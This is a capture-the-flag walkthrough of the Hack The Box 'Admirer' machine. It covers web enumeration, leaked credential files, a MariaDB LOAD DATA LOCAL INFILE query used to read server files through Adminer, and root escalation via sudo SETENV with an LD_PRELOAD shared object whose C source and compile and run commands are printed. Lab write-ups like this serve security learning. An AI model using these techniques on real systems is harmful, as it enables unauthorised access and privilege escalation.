HTB Walkthrough: Admirer
Solved: 25th May 2020
Kicking off with a standard nmap scan, as with all machines. While this runs in the background, let's have a look at the ports as they come back. I've added in the -vvv
flags, to make it very, very verbose.
> nmap 10.10.10.187 -sSVC -A --stats-every 2 -vvv -T4 -oA initial-scan
Seeing that port 80 is open, we can navigate to the site. Visiting http://10.10.10.187:80/robots.txt
, we get the following message:
User-agent: * # This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir
How mysterious. So we can't directly open admin-dir, but can we enumerate the contents? Let's chuck a brute force from gobuster at it. To avoid getting immediately banned, we'll add in our custom client header and we'll add in the txt, html, php as those are some reasonably common files. If nothing comes back, I guess we can look at xhtml and more esoteric file types. naturally, we will also direct gobuster to look at this specific folder instead of the whole site, since we got a steer from robots.txt.
> gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k --wildcard -a "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0" -x txt,html.php -h http://10.10.10.187/admin-dir
Seeing if that worked?
/contacts.txt (Status: 200)
Great, so we have a super secret file. Full of contacts, as hinted by robots.txt
. So I suppose we could have guessed that ourselves, but that feels far too intelligent when we already have gobuster ready. Opening the file...
########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb
So this is helpful, but there could be more content... Let's try again, but this time throw the boat out with Web-Content/big.txt
. While we have some data, there's not much we can do with just usernames. So clearly there is most left to find, and if in doubt, enumerate!
And so, at http://10.10.10.187/credentials.txt
, we find what we were searching for!
[Internal mail account] w.cooper@admirer.htb ■■■■■■■■ [FTP account] ftpuser ■■■■■■■■ [Wordpress account] admin ■■■■■■■■
Brilliant! This is clearly useful and a good way to have spent our time while we wait for the nmap
and gobuster
to complete.
Hopping over to ftp, while there are a number of files we can access at ftp://10.10.10.187:21
, and we get lightly teased by db_admin.php
, it's only within index.php
that we get our sneaky hint - credentials to the database. However, when we try them, we find them expired. :(
And finally, from the depths of gobuster, http://10.10.10.187/adminer.php
emerges, and it's vulnerable. We found in the previous reconnaissance session that credentials are available within index.php, so if we can leverage this vulnerability to load the current index.php, versus the outdated backup in the ftp, we should be good to go
MariaDB contains a native LOAD_FILE command. This allows you to load local and remote files. So if we request the current index.php, which using our knowledge of Unix web servers, is likely at /var/www/html
, then we will be in the money! We shall create a table to store our loot, with a single column of long strings (or VARCHARS
in SQL parlance), and then exfiltrate our data.
create table xml (loot varchar(255)); load data local infile '/var/www/html/index.php' into table mysql.xml fields terminated by "\n";
With that done, we should be able to view the database and see our stolen data:
[ ] edit | $servername = "localhost"; [ ] edit | $username = "waldo"; [ ] edit | $password = "■■■■■■■■" [ ] edit | $dbname = "■■■■■■■■";
So now we have our credentials. Seeing that we have pretty thoroughly enumerated the site, let's just SSH into the beastie. Alternatively we could always just upload a reverse shell, then login from there as waldo.
And as waldo, we can cat
our local user.txt
file to get the first flag:
waldo@admirer.htb:~$ cat user.txt ■■■■■■■■
So we have a user, meaning that we should now try and elevate. One of the first things to check when landing on a Linux machine should be your sudo
privileges. These can be viewed with the -l
flag on the sudo command, like so: sudo -l
. When we do this on admirer, we receive the following back:
> sudo -l Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh
We have an intruigingly named admin_tasks.sh script, but unfortunately we can't do anything with this. It just launches a static script, with pre-written commands... but it does run under sudo
, meaning if we can manipulate it, we'd have root permission:
waldo@admire:/tmp$ /opt/scripts/admin_tasks.sh [[[ System Administration Menu ]]] 1) View system uptime 2) View logged in usep passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option:
But we can play with SETENV
, which means that we can control the shared libraries and objects loaded into the shell, which we can start with the otherwise limited admin_tasks script you can see. With this in mind, and the helpful blog post loaded into our browser, we can set about the escalation.
We first compile a basic shell, just something to start a /bin/sh
session as root. I named mine shell.c
, since I'm imaginative:
#include#include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }
We can then compile this, locally on the machine, using gcc
, making sure to output it as a shared object:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
We can then change the LD_PRELOAD
variable and direct it at our new shared object to hijack the intended script execution after it's elevated, but before it runs the script we saw before:
> sudo LD_PRELOAD=/tmp/shell.so /opt/scripts/admin_tasks.sh # whoami root # ls vmware-root # cd /root # ls root.txt # cat root.txt ■■■■■■■■
So when we started the admin tasks script, we get a new shell. This requires that our shared objects are loaded. In our shared objects file, we set the SGID and SUID permissions to be deliberately weak before starting a new instance of /bin/sh
, which results in a root shell :).
Admirer was a fun box; I somehow hadn't used LD_PRELOAD
before this, but it's a method worth knowing since it touches on Linux knowledge you'll likely already have encountered, including the standard SGID and SUID privilege escalations. At the time, I was used to working out of /dev/shm
, which produced errors when running the shared object and it couldn't be opened.